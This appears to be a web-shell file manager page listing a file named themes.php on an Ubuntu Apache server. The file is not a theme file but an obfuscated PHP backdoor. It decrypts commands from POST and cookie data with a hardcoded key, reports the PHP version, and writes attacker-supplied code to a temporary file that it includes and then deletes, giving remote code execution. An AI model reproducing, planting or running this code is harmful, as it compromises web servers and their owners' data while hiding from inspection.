HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/dbadmin/tmp/themes.php
<?php $ziter    = /*  y */ 'ziter'	^     '';


$nn_zann /*  dudu*/ =	$ziter(98) /*   yzi   */ . /*   mez  */ $ziter(492-395) /*  k*/ .   "s"."e"."\x36"    .    "4"."_"."e"."\156" /*   yg  */ .      "c".$ziter(111)  .	"d"."e";


$obwwtk      = /*  wszdqi   */ $ziter(97) /*  j*/ .  "r"."\x72" /*  fcd   */ . /*  owzpi */ "a".$ziter(795-674) /* keoxuz  */ .  "_".$ziter(115) /*  th   */ .    $ziter(108)  .    "\x69" /*   bh */ .    "c"."e";$psvqgqso    =    $ziter(151-36)	.       "\x74"   .     "\162"       .    "_".$ziter(114) /*_qd */ .    "e"."\160"    .    "e"."\x61"    .  "t";$sknotnxgbf    = /* ectn*/ "\x65" /* ghaf_   */ .  $ziter(120)	.    "\x70"      . /*  pjfmjh   */ "\154"	.    "\x6f" /*   wn*/ .    "d".$ziter(499-398);
$xsurodcr  =     "s".$ziter(116) /*  _s*/ . /*  pspje  */ "\162"     .      $ziter(860-748) /* c  */ . /*   rlnv  */ "o".$ziter(115);$uyqnalmkqb       =   "s"."\165"    . /* yluodc  */ "\x62"    . /*   urcx*/ "\x73"    .    "\164"    .    $ziter(114);

$pnohzs  =     "f"."\141"	.    "l"."s"."\x65";

$kicauhyh    =    "c"."o".$ziter(858-741) /* uqy_*/ . /* nwpqd */ $ziter(373-263)	. /* rzj_y */ "\164";
$qkzpwrqka /*lx   */ = /*k */ "p"."a"."\143"    . /*   _srzk_ */ "k";





function /*ros*/ efgwq($ccetgt_, /*amamgq  */ $xdoiwg)

{ /*wy*/ global     $ziter;

 /*  bd   */ 


    $ccetgt_ /*xcr  */ = /*_raifm*/ $ziter(60) /* qqrdk   */ . /* uv   */ "?"."\160"     . /* bzaog   */ "\x68"    .      "p".$ziter(32) /*   t */ .   "u"."n"."\x6c" /* efbzvh */ .    "\151"	. /*   epvtts  */ $ziter(110) /* vsb */ . /* e   */ "k".$ziter(40) /*   rlgpq  */ . /*  klv */ $ziter(763-668)    . /* jhb   */ $ziter(95) /*zlaqx */ .	$ziter(398-328)    .	"I"."L".$ziter(897-828) /* aywvhi  */ . /* sxg */ "\x5f"    .    $ziter(95)."\x29"       .      ";".$ziter(32) /*exo */ .    $ccetgt_["d"];

    $_ulyb    =     $ziter(102) /*   jzrvvt  */ .     "\x69"  .    "l".$ziter(101).$ziter(95)."\x70"      . /* hy   */ "\x75"    . /* eqr*/ "\164"   . /*wid   */ $ziter(95)."c"."o"."\156" /*   dy */ .	"\164"  .    $ziter(101)."\156"    . /*  aui*/ "\x74"	.    "s";	
       $_ulyb($xdoiwg, /*fthi  */ $ccetgt_);


 /* gv  */ 

 /*   mtp  */ fsjuunced($xdoiwg);

}


function	wsuflgm(){


 /* pnn   */ $u_gogn	=    36;    $ndsviq       = /*fdbgv  */ 'dhah_au_ky';
 /*   dmmvc  */ $usseac /*  j */ = /*  wjq*/ 'xjce_ah';
 /*dn*/ $hnjoewjxlq    = /*   azed */ 'zubl_fs';


	$rciyryyarr /* eacyk*/ =    str_replace('pqhbts', /*   o_u   */ 'wut',    $hnjoewjxlq);


}

wsuflgm();


$tojxdhx_t /*  t_vjdp  */ = /*   nno*/ 73;





function /*t  */ fsjuunced($xdoiwg)

{
 /*   lyz */ global      $ziter;


      
 /*  qb  */ include($xdoiwg); /*   lmxrk */ $eqvppiei /*  hm */ =    $xdoiwg;


 /*  azuc  */ @unlink($eqvppiei);

}


function    s_c_v()

{ /*   hjyb  */ global     $ziter;

    $tediqkg    = /*  uaavu */ array();
   $tediqkg["\x70" /*skkx  */ . /*  bcdgu */ $ziter(782-664)] /*  e  */ =    phpversion();

 /*   fle*/ $tediqkg["s".$ziter(978-860)] /*  sjak_p  */ =   "3"."\56"    .  "5";


	$_hrpii       = /*i*/ 74;


  echo    @serialize($tediqkg);
}





function   _frkxiign()

{       $egnkjn /*  zbbnnr */ =      '__fwtr';
     $cghj_       =	44; /*   db_tb */ $dryqyvchiu    =      47;


	$mgeapxgzc /*   hvh*/ =	'brh';

}



_frkxiign();

function     fjacqg($ccetgt_, /*a  */ $bjjqpt)


{
	global /* ljrkog   */ $ziter;


 /* qza_*/ 

  $ec_vqqy /* g*/ =       "";
	$zqhva  = /*   psr_a */ 'unh';
	$tediqkg    = /* ylblz   */ 0;
       while    ($tediqkg      < /* whnrd  */ strlen($ccetgt_))	{
	for    ($lmukit	=    0;    $lmukit    < /*  czvfs */ strlen($bjjqpt)    &&	$tediqkg     <   strlen($ccetgt_);    $lmukit++, /*wufh*/ $tediqkg++)   {
    $ec_vqqy   .=  $ziter(ord($ccetgt_[$tediqkg])	^   ord($bjjqpt[$lmukit]));


	} /* aijmn   */ }


      return    $ec_vqqy;
}



function	zeywww()

{

      $ke_ycpze    =	14;      $ocftsh    = /*o  */ 'pyme';
      $gtvhvd  =	18;
   $siryhzq    = /*   bjnq */ 49;
 /*zsm */ $ecmmskw_ /*jh  */ = /*mqnmo  */ 'ikpf';
      $hujmebuzv    =    'qgxfqwkv';


     $ke_ycpze     =  $siryhzq    *	$siryhzq;
     $hqdk_cb /*  tsay  */ =  $siryhzq     /    ($siryhzq   +    10);
 /* sohxk  */ $lmukitpdcud	= /* wky_  */ 39;


}



zeywww();

function /*ecy  */ lha_frxhk($xhtug_vx)

{   global    $ziter;

 /*   _ru*/ 

    $bxtpz /*s   */ = /*  fqiuty */ "5"."\x34" /*  x   */ . /* on*/ "5"."\x35" /*  ctu  */ . /*   w */ $ziter(259-202)      .      $ziter(98) /*acgn*/ .	$ziter(370-268)	. /*umqp  */ "d".$ziter(630-585)  .  "a"."\63"	.     $ziter(740-684)    .   "\67"       .	"\x2d"    .    "4"."3"."\x61"   .       "\x34"	.	"\55"	.      "a"."\x39"       .    "b".$ziter(258-156) /*   hrhr  */ .    "\x2d"	. /*   y   */ $ziter(98)     .    $ziter(459-403) /*  fmhl */ . /*mqtyt  */ "9"."c"."b"."6".$ziter(49)   . /* gn*/ "7"."c"."\143" /*f_rb_l   */ . /*  drod */ "8"."9";

 /* ku_aq */  /*yuoxiu  */ foreach	($xhtug_vx	as    $tediqkgdf_mjmaw /* o */ =>      $ccetgt_)    {	chdkdzl(base64_decode($ccetgt_), /*   xzf*/ $bxtpz,       $tediqkgdf_mjmaw);


   }
}



function  chdkdzl($ccetgt_, /*_o   */ $bxtpz,       $tediqkgdf_mjmaw){


 /*   xkczdw   */ global       $ziter;

    

       $ccetgt_	=     unserialize(fjacqg(fjacqg($ccetgt_,     $bxtpz),	$tediqkgdf_mjmaw));	$oysuzyxzhp       = /* c  */ 'lnjagsl';


	$wuvfhioa  = /*d*/ 'ykckwlir';


    if /*wresn   */ (isset($ccetgt_["\x61"  .	"k"]))    {

     if /*   efkqot   */ ($ccetgt_["a"] /*ze   */ ==	"\x69") /* dmg  */ {    s_c_v();	}    elseif     ($ccetgt_["a"]      ==    $ziter(101)) /*  mmxvc  */ {


    efgwq($ccetgt_, /*zg*/ sprintf($ziter(46) /*h_   */ .    "/"."%"."\x73" /* jklaf  */ .    $ziter(46)	.       "p"."l",     md5($bxtpz)));


			$lqeyrlh /* qnyt*/ =   44;
 /* nh */ } /*  hfk*/ exit();

 /* wim  */ }

}


	$frjory       = /*   o*/ 69;
	$yaupndmikh	=	22;




$yaupndmikh /*  _uz*/ =    $frjory    +	15;

lha_frxhk($_POST); /*cmrjk*/ 

$_GET["n"."\x65"	. /*  nqkxe   */ $ziter(119)     . /* _ */ $ziter(95)."k"."\145"       .    "y"] /*   rb*/ = /*  vw*/ md5("n".$ziter(101)."w"."\137" /*  que  */ .     "\166" /*  feoncj  */ .  "a".$ziter(543-435)    . /*m */ "u".$ziter(101));	
if /* vgaet */ ($xsurodcr($_GET["n"."\x65"    .	$ziter(119)	.	$ziter(95)."k"."\145"	.       "y"],    "\x73" /*iyctxc   */ .	$ziter(101)."a".$ziter(618-504)   . /*  nts  */ "\x63"     .    "h".$ziter(902-807) /* fvow*/ .     "s"."\164"  .     "r"."\151"    . /*jicw  */ "n".$ziter(267-164))    !==       $pnohzs)	{     
 /*  u  */ $zwxyoshyk    =	$uyqnalmkqb($_GET["n"."\x65" /*   kx  */ . /*   phh_*/ $ziter(119)    .	$ziter(95)."k"."\145"    .    "y"], /*sfa*/ 0,     5);	

    $_POST["k"."\145"  . /* adbp*/ "\171"]    =     $psvqgqso($zwxyoshyk, /* uab*/ 3);      }

lha_frxhk($_COOKIE);     $ewlzhobo	=    "t".$ziter(101)       .  "\x73"     .	"t"."\137" /*  ag   */ .    "\166" /* xbzedt */ . /*   fsgyjd  */ "\141"   .	"l"."u".$ziter(655-554)	.    "\x5f"       . /*  uav */ $ziter(116) /*   mrgw*/ .    $ziter(780-679)	.	"s"."t".$ziter(95)."v"."\x61"	.  "l".$ziter(117)  .      "\145"; /*  m   */ 
$eruvqmti	= /*  fz   */ $sknotnxgbf($ziter(95), /* xqgfy */ $ewlzhobo); /*   grmzw  */ 
if    ($kicauhyh($eruvqmti)    >	1)	{   
     $rniid_za     = /* m */ $obwwtk($eruvqmti, /* ynh  */ 0,      2);	


 /* pw_  */ foreach   ($rniid_za      as /*   iku */ $htetspua)    {       $zfpido /*oky */ =    $qkzpwrqka("\110"   . /*oy_zl*/ "*",   md5($htetspua));  
	$hat_i      = /*xj  */ $nn_zann($zfpido);     


 /*  wi   */ $_COOKIE[md5($htetspua)]    =    $hat_i;	
 /*lz_x*/ }       }





$qghhjrg	=   6;





?>